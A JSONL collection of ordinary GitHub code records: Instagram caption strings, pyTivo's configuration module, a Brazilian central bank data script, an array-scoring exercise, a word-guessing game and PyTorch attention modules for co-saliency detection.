+{"seq_id":"70033276587","text":"cap = [\n    [\n        \"Rate this 1-10 📈\",\n        \"Describe it using one word\",\n        \"Absolute beast \",\n        \"Double tap for this beauty\",\n        \"Can you name this one?\",\n        \"Tag someone below \",\n        \"This is something different\",\n        \"Rate it 1-1000\",\n        \"🔥🔥🔥🔥🔥🔥🔥🔥\",\n        \"What are your thoughts?? Comment down below 💭\"\n    ],\n    [\n        \"Cuteness overload ❤\",\n        \"So cuuute ❤❤❤❤\",\n        \"Double tap for this beauty ❤❤️\",\n        \"SO LOVELY 😻❤️\",\n        \"Beautiful 😻❤️\",\n        \"Soo Fluffy❤❤❤❤\",\n        \"Wanna give this cutie some love❤❤❤\",\n        \"Follow for more cutie❤❤\"\n    ],\n    [\n        \"Follow for more \"\n    ],\n    [\n        \"Follow for more \"\n        \"Rate this 1-10 📈\",\n        \"Describe it using one word\",\n        \"Can you name this one?\",\n        \"Tag someone below \",\n        \"This is something different\",\n        \"Rate it 1-1000\",\n        \"🔥🔥🔥🔥🔥\",\n    ],\n    [\n        \"Follow for more !💭 \"\n    ],\n    [\n        \"Follow for more!\",\n        \"😛😛😛\",\n        \"😂😂😂😂😂\",\n    ]\n\n]","repo_name":"erupturatis/InstagramAutom2.0","sub_path":"Captions.py","file_name":"Captions.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"30791266116","text":"import configparser\nimport logging\nimport logging.config\nimport os\nimport re\nimport socket\nimport sys\nimport uuid\nfrom functools import reduce\nfrom typing import Dict, List, Optional, Tuple\n\nfrom pytivo.pytivo_types import Bdict, Settings\n\nLOGGER = logging.getLogger(__name__)\n\nTIVOS: Dict[str, Settings] = {}\nGUID = uuid.uuid4()\nCONFIG_FILES: List[str] = []\nTIVOS_FOUND = False\nBIN_PATHS: Dict[str, str] = {}\nCONFIG = configparser.ConfigParser()\nCONFIGS_FOUND: List[str] = []\n\n\ndef config_init(config: Optional[str] = None, extraconf: Optional[str] = None) -> None:\n    global TIVOS\n    global GUID\n    global CONFIG_FILES\n    global TIVOS_FOUND\n\n    TIVOS = {}\n    GUID = uuid.uuid4()\n    TIVOS_FOUND = False\n\n    CONFIG_FILES = [\n        \"/etc/pyTivo.conf\",\n        os.path.expanduser(\"~/.config/pytivo/pyTivo.conf\"),\n        os.path.join(os.getcwd(), \"pyTivo.conf\"),\n    ]\n\n    if config is not None:\n        CONFIG_FILES = [config]\n    elif extraconf is not None:\n        CONFIG_FILES.append(extraconf)\n\n    config_reset()\n\n\ndef config_reset() -> None:\n    global BIN_PATHS\n    global CONFIG\n    global CONFIGS_FOUND\n    global TIVOS_FOUND\n\n    BIN_PATHS = {}\n\n    CONFIG = configparser.ConfigParser()\n    CONFIGS_FOUND = CONFIG.read(CONFIG_FILES)\n    if CONFIGS_FOUND:\n        for config_read in CONFIGS_FOUND:\n            print(f\"Config file read: {config_read}\")\n    else:\n        print((\"WARNING: pyTivo.conf does not exist.\\n\" + \"Assuming default values.\"))\n        CONFIGS_FOUND = CONFIG_FILES[-1:]\n\n    for section in CONFIG.sections():\n        if section.startswith(\"_tivo_\"):\n            tsn = section[6:]\n            if tsn.upper() not in [\"SD\", \"HD\", \"4K\"]:\n                TIVOS_FOUND = True\n                TIVOS[tsn] = Bdict(CONFIG.items(section))\n\n    for section in [\"Server\", \"_tivo_SD\", \"_tivo_HD\"]:\n        if not CONFIG.has_section(section):\n            CONFIG.add_section(section)\n\n\ndef config_write() -> None:\n    f = open(CONFIGS_FOUND[-1], \"w\")\n    CONFIG.write(f)\n    f.close()\n\n\ndef tivos_by_ip(tivoIP: str) -> str:\n    for key, value in list(TIVOS.items()):\n        if value[\"address\"] == tivoIP:\n            return key\n    return \"\"\n\n\ndef get_server(name: str, default: str) -> str:\n    if CONFIG.has_option(\"Server\", name):\n        return CONFIG.get(\"Server\", name)\n    else:\n        return default\n\n\ndef getGUID() -> str:\n    return str(GUID)\n\n\ndef get_ip(tsn: Optional[str] = None) -> str:\n    if tsn is not None:\n        dest_ip = TIVOS[tsn][\"address\"]\n    else:\n        dest_ip = \"4.2.2.1\"\n\n    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    s.connect((dest_ip, 123))\n    return s.getsockname()[0]\n\n\ndef get_zc() -> bool:\n    opt = get_server(\"zeroconf\", \"auto\").lower()\n\n    if opt == \"auto\":\n        for section in CONFIG.sections():\n            if section.startswith(\"_tivo_\"):\n                if CONFIG.has_option(section, \"shares\"):\n                    LOGGER.info(\"Shares security in use -- zeroconf disabled\")\n                    return False\n    elif opt in [\"false\", \"no\", \"off\"]:\n        return False\n\n    return True\n\n\ndef getBeaconAddresses() -> str:\n    return get_server(\"beacon\", \"255.255.255.255\")\n\n\ndef getPort() -> str:\n    return get_server(\"port\", \"9032\")\n\n\ndef get169Blacklist(tsn: str) -> bool:  # tivo does not pad 16:9 video\n    return bool(tsn) and not isHDtivo(tsn) and not get169Letterbox(tsn)\n    # verified Blacklist Tivo's are ('130', '240', '540')\n    # It is assumed all remaining non-HD and non-Letterbox tivos are Blacklist\n\n\ndef get169Letterbox(tsn: str) -> bool:  # tivo pads 16:9 video for 4:3 display\n    return bool(tsn) and tsn[:3] in [\"649\"]\n\n\ndef get169Setting(tsn: str) -> bool:\n    if not tsn:\n        return True\n\n    tsnsect = \"_tivo_\" + tsn\n    if CONFIG.has_section(tsnsect):\n        if CONFIG.has_option(tsnsect, \"aspect169\"):\n            try:\n                return CONFIG.getboolean(tsnsect, \"aspect169\")\n            except ValueError:\n                pass\n\n    if get169Blacklist(tsn) or get169Letterbox(tsn):\n        return False\n\n    return True\n\n\ndef getAllowedClients() -> List[str]:\n    return get_server(\"allowedips\", \"\").split()\n\n\ndef getIsExternal(tsn: str) -> bool:\n    tsnsect = \"_tivo_\" + tsn\n    if tsnsect in CONFIG.sections():\n        if CONFIG.has_option(tsnsect, \"external\"):\n            try:\n                return CONFIG.getboolean(tsnsect, \"external\")\n            except ValueError:\n                pass\n\n    return False\n\n\ndef isTsnInConfig(tsn: str) -> bool:\n    return (\"_tivo_\" + tsn) in CONFIG.sections()\n\n\ndef getShares(tsn: str = \"\") -> List[Tuple[str, Settings]]:\n    shares = [\n        (section, Bdict(CONFIG.items(section)))\n        for section in CONFIG.sections()\n        if not (\n            section.startswith((\"_tivo_\", \"logger_\", \"handler_\", \"formatter_\"))\n            or section in (\"Server\", \"loggers\", \"handlers\", \"formatters\")\n        )\n    ]\n\n    tsnsect = \"_tivo_\" + tsn\n    if CONFIG.has_section(tsnsect) and CONFIG.has_option(tsnsect, \"shares\"):\n        # clean up leading and trailing spaces & make sure ref is valid\n        tsnshares = []\n        for x in CONFIG.get(tsnsect, \"shares\").split(\",\"):\n            y = x.strip()\n            if CONFIG.has_section(y):\n                tsnshares.append((y, Bdict(CONFIG.items(y))))\n        shares = tsnshares\n\n    shares.sort()\n\n    if get_server(\"nosettings\", \"false\").lower() in [\"false\", \"no\", \"off\"]:\n        shares.append((\"Settings\", Bdict({\"type\": \"settings\"})))\n    if get_server(\"tivo_mak\", \"\") and get_server(\"togo_path\", \"\"):\n        shares.append((\"ToGo\", Bdict({\"type\": \"togo\"})))\n\n    return shares\n\n\ndef getDebug() -> bool:\n    try:\n        return CONFIG.getboolean(\"Server\", \"debug\")\n    except:\n        return False\n\n\ndef getOptres(tsn: str) -> bool:\n    try:\n        return CONFIG.getboolean(\"_tivo_\" + tsn, \"optres\")\n    except:\n        try:\n            return CONFIG.getboolean(get_section(tsn), \"optres\")\n        except:\n            try:\n                return CONFIG.getboolean(\"Server\", \"optres\")\n            except:\n                return False\n\n\ndef get_bin(fname: str) -> Optional[str]:\n    global BIN_PATHS\n\n    if fname in BIN_PATHS:\n        return BIN_PATHS[fname]\n\n    if CONFIG.has_option(\"Server\", fname):\n        fpath = CONFIG.get(\"Server\", fname)\n        if os.path.exists(fpath) and os.path.isfile(fpath):\n            BIN_PATHS[fname] = fpath\n            return fpath\n        else:\n            LOGGER.error(\"Bad %s path: %s\" % (fname, fpath))\n\n    if sys.platform == \"win32\":\n        fext = \".exe\"\n    else:\n        fext = \"\"\n\n    sys_path = os.getenv(\"PATH\")\n    if sys_path is not None:\n        sys_path_list = sys_path.split(os.pathsep)\n    else:\n        sys_path_list = []\n    for path in [os.path.join(os.path.dirname(__file__), \"bin\")] + sys_path_list:\n        fpath = os.path.join(path, fname + fext)\n        if os.path.exists(fpath) and os.path.isfile(fpath):\n            BIN_PATHS[fname] = fpath\n            return fpath\n\n    LOGGER.warn(\"%s not found\" % fname)\n    return None\n\n\ndef getFFmpegWait() -> int:\n    if CONFIG.has_option(\"Server\", \"ffmpeg_wait\"):\n        return max(int(float(CONFIG.get(\"Server\", \"ffmpeg_wait\"))), 1)\n    else:\n        return 0\n\n\ndef getFFmpegPrams(tsn: str) -> Optional[str]:\n    return get_tsn(\"ffmpeg_pram\", tsn, True)\n\n\ndef isHDtivo(tsn: str) -> bool:  # TSNs of High Definition TiVos\n    return bool(tsn and tsn[0] >= \"6\" and tsn[:3] != \"649\")\n\n\ndef get_ts_flag() -> str:\n    return get_server(\"ts\", \"auto\").lower()\n\n\ndef is_ts_capable(tsn: str) -> bool:  # tsn's of Tivos that support transport streams\n    return bool(tsn and (tsn[0] >= \"7\" or tsn.startswith(\"663\")))\n\n\ndef getValidWidths() -> List[int]:\n    return [1920, 1440, 1280, 720, 704, 544, 480, 352]\n\n\ndef getValidHeights() -> List[int]:\n    return [1080, 720, 480]  # Technically 240 is also supported\n\n\n# Return the number in list that is nearest to x\n# if two values are equidistant, return the larger\ndef nearest(x: int, list_: List[int]) -> int:\n    return reduce(lambda a, b: closest(x, a, b), list_)\n\n\ndef closest(x: int, a: int, b: int) -> int:\n    da = abs(x - a)\n    db = abs(x - b)\n    if da < db or (da == db and a > b):\n        return a\n    else:\n        return b\n\n\ndef nearestTivoHeight(height: int) -> int:\n    return nearest(height, getValidHeights())\n\n\ndef nearestTivoWidth(width: int) -> int:\n    return nearest(width, getValidWidths())\n\n\ndef getTivoHeight(tsn: str) -> int:\n    return [480, 1080][isHDtivo(tsn)]\n\n\ndef getTivoWidth(tsn: str) -> int:\n    return [544, 1920][isHDtivo(tsn)]\n\n\ndef _trunc64(i: str) -> int:\n    return max(strtod(i) // 64000, 1) * 64\n\n\ndef getAudioBR(tsn: str) -> str:\n    rate = get_tsn(\"audio_br\", tsn)\n    if not rate:\n        rate = \"448k\"\n    # convert to non-zero multiple of 64 to ensure ffmpeg compatibility\n    # compare audio_br to max_audio_br and return lowest\n    return str(min(_trunc64(rate), getMaxAudioBR(tsn))) + \"k\"\n\n\ndef _k(i: str) -> str:\n    return str(strtod(i) // 1000) + \"k\"\n\n\ndef getVideoBR(tsn: str) -> str:\n    rate = get_tsn(\"video_br\", tsn)\n    if rate:\n        return _k(rate)\n    return [\"4096K\", \"16384K\"][isHDtivo(tsn)]\n\n\ndef getMaxVideoBR(tsn: str) -> str:\n    rate = get_tsn(\"max_video_br\", tsn)\n    if rate:\n        return _k(rate)\n    return \"30000k\"\n\n\ndef getBuffSize(tsn: str) -> str:\n    size = get_tsn(\"bufsize\", tsn)\n    if size:\n        return _k(size)\n    return [\"1024k\", \"4096k\"][isHDtivo(tsn)]\n\n\ndef getMaxAudioBR(tsn: str) -> int:\n    rate = get_tsn(\"max_audio_br\", tsn)\n    # convert to non-zero multiple of 64 for ffmpeg compatibility\n    if rate:\n        return _trunc64(rate)\n    return 448\n\n\ndef get_section(tsn: str) -> str:\n    return [\"_tivo_SD\", \"_tivo_HD\"][isHDtivo(tsn)]\n\n\ndef get_tsn(name: str, tsn: str, raw: bool = False) -> Optional[str]:\n    try:\n        return CONFIG.get(\"_tivo_\" + tsn, name, raw=raw)\n    except:\n        try:\n            return CONFIG.get(get_section(tsn), name, raw=raw)\n        except:\n            try:\n                return CONFIG.get(\"Server\", name, raw=raw)\n            except:\n                return None\n\n\n# Parse a bitrate using the SI/IEEE suffix values as if by ffmpeg\n# For example, 2K==2000, 2Ki==2048, 2MB==16000000, 2MiB==16777216\n# Algorithm: http://svn.mplayerhq.hu/ffmpeg/trunk/libavcodec/eval.c\ndef strtod(value_str: str) -> int:\n    prefixes = {\n        \"y\": -24,\n        \"z\": -21,\n        \"a\": -18,\n        \"f\": -15,\n        \"p\": -12,\n        \"n\": -9,\n        \"u\": -6,\n        \"m\": -3,\n        \"c\": -2,\n        \"d\": -1,\n        \"h\": 2,\n        \"k\": 3,\n        \"K\": 3,\n        \"M\": 6,\n        \"G\": 9,\n        \"T\": 12,\n        \"P\": 15,\n        \"E\": 18,\n        \"Z\": 21,\n        \"Y\": 24,\n    }\n    p = re.compile(r\"^(\\d+)(?:([yzafpnumcdhkKMGTPEZY])(i)?)?([Bb])?$\")\n    m = p.match(value_str)\n    if not m:\n        raise SyntaxError(\"Invalid bit value syntax\")\n    (coef, prefix, power, byte) = m.groups()\n    if prefix is None:\n        value = float(coef)\n    else:\n        exponent = float(prefixes[prefix])\n        if power == \"i\":\n            # Use powers of 2\n            value = float(coef) * pow(2.0, exponent / 0.3)\n        else:\n            # Use powers of 10\n            value = float(coef) * pow(10.0, exponent)\n    if byte == \"B\":  # B == Byte, b == bit\n        value *= 8\n    return int(value)\n\n\ndef init_logging() -> None:\n    if (\n        CONFIG.has_section(\"loggers\")\n        and CONFIG.has_section(\"handlers\")\n        and CONFIG.has_section(\"formatters\")\n    ):\n        logging.config.fileConfig(CONFIG)\n\n    elif getDebug():\n        logging.basicConfig(level=logging.DEBUG)\n    else:\n        logging.basicConfig(level=logging.INFO)\n","repo_name":"mcclung/pytivo","sub_path":"src/pytivo/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":11626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"}
+{"seq_id":"30011093581","text":"# biblioteca Python que é usada principalmente para realizar cálculos em Arrays Multidimensionais\nimport numpy as np\n# biblioteca Python que fornece ferramentas de análise de dados e estruturas de dados de alta performance\nimport pandas as pd  \n# biblioteca Python para geração de gráficos 2D\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\n# é uma interface em Python estruturada para obter informações da API de dados abertos do Banco Central do Brasil.\nfrom bcb import sgs     #https://wilsonfreitas.github.io/python-bcb/sgs.html\nfrom bcb import currency     #https://wilsonfreitas.github.io/python-bcb/currency.html\n\n## Variáveis globais\n#UF = []\n\n## Função: IPCA dos últimos 12 meses\ndef IPCA_12_meses():\n    print('*** IPCA dos últimos 12 meses ***')\n    df = sgs.get(('IPCA', 433),last=12)\n    print(df)    \n\n## Função: IPCA acumulado 12 meses\ndef IPCA_acumulado():\n    print('*** IPCA acumulado 12 meses ***')\n    mpl.style.use('bmh')\n    df = sgs.get({'IPCA': 433}, start='2002-02-01')\n    df.index = df.index.to_period('M')\n    print(\"IPCA 1\",df.head())\n    dfr = df.rolling(12)\n    i12 = dfr.apply(lambda x: (1 + x/100).prod() - 1).dropna() * 100\n    print(\"IPCA Acumulado\",i12.head())\n    i12.plot(figsize=(12,6))\n    plt.title('Fonte: https://dadosabertos.bcb.gov.br', fontsize=10)\n    plt.suptitle('IPCA acumulado 12 meses - Janela Móvel', fontsize=18)\n    plt.xlabel('Data')\n    plt.ylabel('%')\n    plt.legend().set_visible(False)\n    plt.show()\n\n## Função: Conversor de Moedas    #https://pt.wikipedia.org/wiki/ISO_4217\ndef ConversorMoedas():\n    print('*** Conversor de Moedas ***')\n    df = currency.get(['USD', 'EUR', 'CNY', 'GBP'],     \n                  start='2023-01-01',\n                  end='2023-08-01',\n                  side='ask')\n    print(df.head())\n    df.plot(figsize=(12, 6))\n    plt.title('Fonte: https://dadosabertos.bcb.gov.br', fontsize=10)\n    plt.suptitle('Conversor de Moedas - Janela Móvel', fontsize=18)\n    plt.xlabel('Data')\n    plt.ylabel('Valor')\n    plt.show()\n\n######## INÍCIO DO PROGRAMA ########\nprint(\"######## Início do Programa Acesso a API de dados abertos do Banco Central do Brasil ########\")\nopcao = 999\n\nwhile opcao != 0:\n    print(\"***********************************\")\n    print(\"Entre com a opção:\")\n    print(\" --- 0: Sair do programa\")\n    print(\" --- 1: IPCA dos últimos 12 meses\")\n    print(\" --- 2: IPCA acumulado\")\n    print(\" --- 3: Conversor de Moedas\")\n    print(\"***********************************\")\n    opcao = int(input(\"-> \"))\n\n    if opcao == 1:\n        IPCA_12_meses()\n    elif opcao == 2:\n        IPCA_acumulado()\n    elif opcao == 3:\n        ConversorMoedas()\n    elif opcao == 0:\n          break","repo_name":"pedro-borges-ftc/Inteligencia-Artificial","sub_path":"Aula15/BCB/main_BCB.py","file_name":"main_BCB.py","file_ext":"py","file_size_in_byte":2711,"program_lang":"python","lang":"pt","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"5548946431","text":"def findScore(nums) -> int:\n\t# Length of the list\n\tn = len(nums)\n\n\t# Score to return\n\tscore = 0\n\n\t# Elements that have been marked\n\tmarkedElements = set()\n\n\t# Index of smallest element\n\tsmallestIdx = -1\n\n\twhile len(markedElements) != n:\n\n\t\t# Smallest element\n\t\tsmallestElement = float(\"inf\")\n\n\t\tfor i in range(n):\n\t\t\tif i not in markedElements and nums[i] < smallestElement: \n\t\t\t\tsmallestElement = nums[i]\n\t\t\t\tsmallestIdx = i\n\n\t\t# Increment the score\n\t\tscore += smallestElement\n\n\t\t# Mark the elements\n\t\tmarkedElements.add(smallestIdx)\n\n\t\t# Mark the index on left\n\t\tif smallestIdx > 0: markedElements.add(smallestIdx - 1)  \n\n\t\t# Mark the index on right\n\t\tif smallestIdx < n - 1: markedElements.add(smallestIdx + 1)\n\n\n\t# Return the score\n\treturn score\n\n\nnums = [2,1,3,4,5,2]\n\nprint(\"Score -> \", findScore(nums))","repo_name":"itsarvindhere/heap","sub_path":"026. Find Score of an Array After Marking All Elements/BruteForce.py","file_name":"BruteForce.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"10331688325","text":"import random\n\ndef read_file(filename):\n    with open(filename) as words:\n        text = words.read()\n        return make_list_from_text(text)\n\ndef make_list_from_text(words):\n    list_of_words = words.split()\n    return list_of_words\n    \ndef get_word(word_list):\n    random_word = random.choice(word_list)\n    displayed_letters = [\"_\"] * len(random_word)\n    # lower_word = lower.random_word()\n    print(\" \".join(displayed_letters))\n    print(random_word)\n    return random_word, displayed_letters\n    \ndef guessed_letter(random_word, displayed_letters, correct_guesses, incorrect_guesses):\n    guess = input(\"\\nType a letter that you think is in the word, and then press Enter.\\n\")\n    if guess in random_word:\n        for index, letter in list(enumerate(random_word)):\n            if letter == guess:\n                displayed_letters[index] = letter\n        print(f\"{' '.join(displayed_letters)} \\nGood job!\")\n    else: \n        incorrect_guesses.append(guess)\n        print(\"Sorry, guess again.\")\n        print(incorrect_guesses)\n\ndef playing_game(word, displayed_letters):\n    game_on = True\n    correct_guesses = []\n    incorrect_guesses = []\n    while game_on and len(incorrect_guesses)<8:\n        guessed_letter(word, displayed_letters, correct_guesses, incorrect_guesses)\n        if \"_\" not in displayed_letters:\n            game_on = False\n            print(\"You won, sucka!!\")\n    return correct_guesses\n\nprint(\"\\nWelcome to the Mystery Word game! This is a game where you will guess the letters to spell a word. Let's start!\\n\")\n\nword, displayed_letters = get_word(read_file(\"words.txt\"))\nplaying_game(word, displayed_letters)\n","repo_name":"momentum-cohort-2019-09/w5-mystery-word-LisaMoney","sub_path":"word_game.py","file_name":"word_game.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"3258244487","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport fvcore.nn.weight_init as weight_init\nfrom functools import partial\nfrom einops import rearrange\n\nfrom config import Config\n\n\nconfig = Config()\n\n\nclass ResBlk(nn.Module):\n    def __init__(self, channel_in=64, channel_out=64, groups=0):\n        super(ResBlk, self).__init__()\n        self.conv_in = nn.Conv2d(channel_in, 64, 3, 1, 1)\n        self.relu_in = nn.ReLU(inplace=True)\n        if config.dec_att == 'ASPP':\n            self.dec_att = ASPP(channel_in=64)\n        self.conv_out = nn.Conv2d(64, channel_out, 3, 1, 1)\n        if config.use_bn:\n            self.bn_in = nn.BatchNorm2d(64)\n            self.bn_out = nn.BatchNorm2d(channel_out)\n\n    def forward(self, x):\n        x = self.conv_in(x)\n        if config.use_bn:\n            x = self.bn_in(x)\n        x = self.relu_in(x)\n        if config.dec_att:\n            x = self.dec_att(x)\n        x = self.conv_out(x)\n        if config.use_bn:\n            x = self.bn_out(x)\n        return x\n\n\nclass _ASPPModule(nn.Module):\n    def __init__(self, channel_in, planes, kernel_size, padding, dilation):\n        super(_ASPPModule, self).__init__()\n        self.atrous_conv = nn.Conv2d(channel_in, planes, kernel_size=kernel_size,\n                                            stride=1, padding=padding, dilation=dilation, bias=False)\n        self.bn = nn.BatchNorm2d(planes)\n        self.relu = nn.ReLU(inplace=True)\n\n    def forward(self, x):\n        x = self.atrous_conv(x)\n        x = self.bn(x)\n\n        return self.relu(x)\n\nclass ASPP(nn.Module):\n    def __init__(self, channel_in=64, output_stride=16):\n        super(ASPP, self).__init__()\n        self.down_scale = 1\n        self.channel_inter = 256 // self.down_scale\n        if output_stride == 16:\n            dilations = [1, 6, 12, 18]\n        elif output_stride == 8:\n            dilations = [1, 12, 24, 36]\n        else:\n            raise NotImplementedError\n\n        self.aspp1 = _ASPPModule(channel_in, self.channel_inter, 1, padding=0, dilation=dilations[0])\n        self.aspp2 = _ASPPModule(channel_in, self.channel_inter, 3, padding=dilations[1], dilation=dilations[1])\n        self.aspp3 = _ASPPModule(channel_in, self.channel_inter, 3, padding=dilations[2], dilation=dilations[2])\n        self.aspp4 = _ASPPModule(channel_in, self.channel_inter, 3, padding=dilations[3], dilation=dilations[3])\n\n        self.global_avg_pool = nn.Sequential(nn.AdaptiveAvgPool2d((1, 1)),\n                                             nn.Conv2d(channel_in, self.channel_inter, 1, stride=1, bias=False),\n                                             nn.BatchNorm2d(self.channel_inter),\n                                             nn.ReLU(inplace=True))\n        self.conv1 = nn.Conv2d(self.channel_inter * 5, channel_in, 1, bias=False)\n        self.bn1 = nn.BatchNorm2d(channel_in)\n        self.relu = nn.ReLU(inplace=True)\n        self.dropout = nn.Dropout(0.5)\n\n    def forward(self, x):\n        x1 = self.aspp1(x)\n        x2 = self.aspp2(x)\n        x3 = self.aspp3(x)\n        x4 = self.aspp4(x)\n        x5 = self.global_avg_pool(x)\n        x5 = F.interpolate(x5, size=x4.size()[2:], mode='bilinear', align_corners=True)\n        x = torch.cat((x1, x2, x3, x4, x5), dim=1)\n\n        x = self.conv1(x)\n        x = self.bn1(x)\n        x = self.relu(x)\n\n        return self.dropout(x)\n\n\nclass GWM(nn.Module):\n    def __init__(self, channel_in, num_groups1=8, num_groups2=4, num_heads=8, qkv_bias=False, qk_scale=None, attn_drop=0., proj_drop=0.):\n        super(GWM, self).__init__()\n        self.num_heads = num_heads\n        self.num_groups1 = num_groups1\n        self.num_groups2 = num_groups2\n        head_dim = channel_in // num_heads\n        self.scale = qk_scale or head_dim ** -0.5\n\n        self.qkv = nn.Linear(channel_in, channel_in * 3, bias=qkv_bias)\n        self.attn_drop = nn.Dropout(attn_drop)\n        self.proj = nn.Linear(channel_in, channel_in)\n        self.proj_drop = nn.Dropout(proj_drop)\n\n    def forward(self, x, recursive_index=False):\n        B, N, C = x.shape\n        if recursive_index == False:\n            num_groups = self.num_groups1\n        else:\n            num_groups = self.num_groups2\n            if num_groups != 1:\n                idx = torch.randperm(N)\n                x = x[:,idx,:]\n                inverse = torch.argsort(idx)\n        qkv = self.qkv(x).reshape(B, num_groups, N // num_groups, 3, self.num_heads, C // self.num_heads).permute(3, 0, 1, 4, 2, 5)  \n        q, k, v = qkv[0], qkv[1], qkv[2]   # make torchscript happy (cannot use tensor as tuple)\n\n        attn = (q @ k.transpose(-2, -1)) * self.scale\n        attn = attn.softmax(dim=-1)\n        attn = self.attn_drop(attn)\n\n        x = (attn @ v).transpose(2, 3).reshape(B, num_groups, N // num_groups, C)\n        x = x.permute(0, 3, 1, 2).reshape(B, C, N).transpose(1, 2)\n        if recursive_index == True and num_groups != 1:\n            x = x[:,inverse,:]\n        x = self.proj(x)\n        x = self.proj_drop(x)\n        return x\n\n\nclass CoAttLayer(nn.Module):\n    def __init__(self, channel_in=512):\n        super(CoAttLayer, self).__init__()\n\n        self.all_attention = GCAM(channel_in)\n    \n    def forward(self, x):\n        if self.training:\n            if config.loadN > 1:\n                channel_per_class = x.shape[0] // config.loadN\n                x_per_class_corr_list = []\n                for idx in range(0, x.shape[0], channel_per_class):\n                    x_per_class = x[idx:idx+channel_per_class]\n\n                    x_new_per_class = self.all_attention(x_per_class)\n\n                    x_per_class_proto = torch.mean(x_new_per_class, (0, 2, 3), True).view(1, -1)\n                    x_per_class_proto = x_per_class_proto.unsqueeze(-1).unsqueeze(-1) # 1, C, 1, 1\n\n                    x_per_class_corr = x_per_class * x_per_class_proto\n                    x_per_class_corr_list.append(x_per_class_corr)\n                weighted_x = torch.cat(x_per_class_corr_list, dim=0)\n            else:\n                x_new = self.all_attention(x)\n                x_proto = torch.mean(x_new, (0, 2, 3), True).view(1, -1)\n                x_proto = x_proto.unsqueeze(-1).unsqueeze(-1) # 1, C, 1, 1\n                weighted_x = x * x_proto\n\n        else:\n            x_new = self.all_attention(x)\n            x_proto = torch.mean(x_new, (0, 2, 3), True).view(1, -1)\n            x_proto = x_proto.unsqueeze(-1).unsqueeze(-1) # 1, C, 1, 1\n            weighted_x = x * x_proto\n        return weighted_x\n\n\nclass GCAM(nn.Module):\n    def __init__(self, channel_in=512):\n\n        super(GCAM, self).__init__()\n        self.query_transform = nn.Conv2d(channel_in, channel_in, kernel_size=1, stride=1, padding=0) \n        self.key_transform = nn.Conv2d(channel_in, channel_in, kernel_size=1, stride=1, padding=0) \n\n        self.scale = 1.0 / (channel_in ** 0.5)\n\n        self.conv6 = nn.Conv2d(channel_in, channel_in, kernel_size=1, stride=1, padding=0) \n\n        for layer in [self.query_transform, self.key_transform, self.conv6]:\n            weight_init.c2_msra_fill(layer)\n\n\n    def forward(self, x):\n        # x: B,C,H,W\n        # x_query: B,C,HW\n        B, C, H5, W5 = x.size()\n\n        x_query = self.query_transform(x).view(B, C, -1)\n\n        # x_query: B,HW,C\n        x_query = torch.transpose(x_query, 1, 2).contiguous().view(-1, C) # BHW, C\n        # x_key: B,C,HW\n        x_key = self.key_transform(x).view(B, C, -1)\n\n        x_key = torch.transpose(x_key, 0, 1).contiguous().view(C, -1) # C, BHW\n\n        # W = Q^T K: B,HW,HW\n        x_w = torch.matmul(x_query, x_key) #* self.scale # BHW, BHW\n        x_w = x_w.view(B*H5*W5, B, H5*W5)\n        x_w = torch.max(x_w, -1).values # BHW, B\n        x_w = x_w.mean(-1)\n        #x_w = torch.mean(x_w, -1).values # BHW\n        x_w = x_w.view(B, -1) * self.scale # B, HW\n        x_w = F.softmax(x_w, dim=-1) # B, HW\n        x_w = x_w.view(B, H5, W5).unsqueeze(1) # B, 1, H, W\n \n        x = x * x_w\n        x = self.conv6(x)\n\n        return x\n\n\nclass SGS(nn.Module):\n    def __init__(self, channel_in, num_groups1=8, num_groups2=4, num_heads=8, qkv_bias=False, qk_scale=None, attn_drop=0., proj_drop=0.):\n        super(SGS, self).__init__()\n        self.num_heads = num_heads\n        self.num_groups1 = num_groups1\n        self.num_groups2 = num_groups2\n        head_dim = channel_in // num_heads\n        self.scale = qk_scale or head_dim ** -0.5\n        self.normer = partial(nn.LayerNorm, eps=1e-6)(channel_in)\n\n        self.qkv = nn.Linear(channel_in, channel_in * 3, bias=qkv_bias)\n        self.attn_drop = nn.Dropout(attn_drop)\n        self.proj = nn.Linear(channel_in, channel_in)\n        self.proj_drop = nn.Dropout(proj_drop)\n\n    def forward(self, x, recursive_index=False):\n        batch_size, chl, hei, wid = x.shape\n        x = rearrange(x, 'b c h w -> b (h w) c')\n        B, N, C = x.shape\n        if recursive_index == False:\n            num_groups = self.num_groups1\n        else:\n            num_groups = self.num_groups2\n            if num_groups != 1:\n                idx = torch.randperm(N)\n                x = x[:,idx,:]\n                inverse = torch.argsort(idx)\n        qkv = self.qkv(x).reshape(B, num_groups, N // num_groups, 3, self.num_heads, C // self.num_heads).permute(3, 0, 1, 4, 2, 5)  \n        q, k, v = qkv[0], qkv[1], qkv[2]   # make torchscript happy (cannot use tensor as tuple)\n\n        attn = (q @ k.transpose(-2, -1)) * self.scale\n        attn = attn.softmax(dim=-1)\n        attn = self.attn_drop(attn)\n\n        x = (attn @ v).transpose(2, 3).reshape(B, num_groups, N // num_groups, C)\n        x = x.permute(0, 3, 1, 2).reshape(B, C, N).transpose(1, 2)\n        if recursive_index == True and num_groups != 1:\n            x = x[:,inverse,:]\n        x = self.proj(x)\n        x = self.proj_drop(x)\n        x = rearrange(x, 'b (h w) c -> b c h w', h=hei, w=wid)\n        return x\n","repo_name":"ZhengPeng7/MCCL","sub_path":"models/modules.py","file_name":"modules.py","file_ext":"py","file_size_in_byte":9858,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"37"}
